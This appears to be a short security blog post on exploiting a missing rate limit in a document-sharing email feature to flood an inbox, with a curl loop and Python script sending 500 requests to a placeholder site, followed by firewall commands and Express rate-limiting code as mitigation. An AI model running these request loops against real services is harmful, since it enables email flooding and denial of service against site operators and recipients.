Exploiting Rate Limit Vulnerability for Email Flood

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In this article, we explore a rate limit vulnerability that can lead to an email flood. The vulnerability was discovered on a page where users can share documents via email. By exploiting this vulnerability, an attacker can send an excessive number of emails, potentially causing a denial of service or overwhelming the target’s email system.

Steps to Reproduce:

  1. Identify a page that allows document sharing via email.
  2. Enter your email address and initiate the email sending process.
  3. Use a tool like Burp Suite’s Intruder to send multiple requests.
  4. Observe the email flood as the system fails to enforce rate limits.

Practice Verified Codes and Commands:


<h1>Using curl to simulate multiple requests</h1>

for i in {1..500}; do
curl -X POST -d "[email protected]" https://vulnerable-site.com/share-document
done


<h1>Python script to send multiple requests</h1>

import requests

url = "https://vulnerable-site.com/share-document"
data = {"email": "[email protected]"}

for i in range(500):
response = requests.post(url, data=data)
print(f"Request {i+1}: {response.status_code}")

What Undercode Say:

Rate limit vulnerabilities are a common issue in web applications, often leading to severe consequences such as email floods, denial of service, or even data breaches. It is crucial for developers to implement robust rate-limiting mechanisms to prevent such exploits. Here are some commands and practices to help secure your systems:

  • Linux Commands:
  • Use `iptables` to limit the number of connections from a single IP address:
    iptables -A INPUT -p tcp --dport 80 -m connlimit --connlimit-above 20 -j DROP
  • Monitor network traffic with tcpdump:
    tcpdump -i eth0 -n src host 192.168.1.100

  • Windows Commands:

  • Use `netsh` to configure firewall rules:
    [cmd]
    netsh advfirewall firewall add rule name=”Limit Connections” dir=in action=block protocol=TCP remoteip=192.168.1.100
    [/cmd]

  • Monitor network connections with netstat:
    [cmd]
    netstat -an | findstr “ESTABLISHED”
    [/cmd]

  • Web Application Security:

  • Implement rate limiting in your web application using frameworks like Express.js:
    [javascript]
    const rateLimit = require(‘express-rate-limit’);

const limiter = rateLimit({
windowMs: 15 * 60 * 1000, // 15 minutes
max: 100 // limit each IP to 100 requests per windowMs
});

app.use(limiter);
[/javascript]

For further reading on securing web applications, refer to the following resources:
– OWASP Rate Limiting Cheat Sheet
– NIST Guidelines on Web Application Security

By understanding and mitigating rate limit vulnerabilities, you can significantly enhance the security of your web applications and protect against potential email floods and other related attacks.

References:

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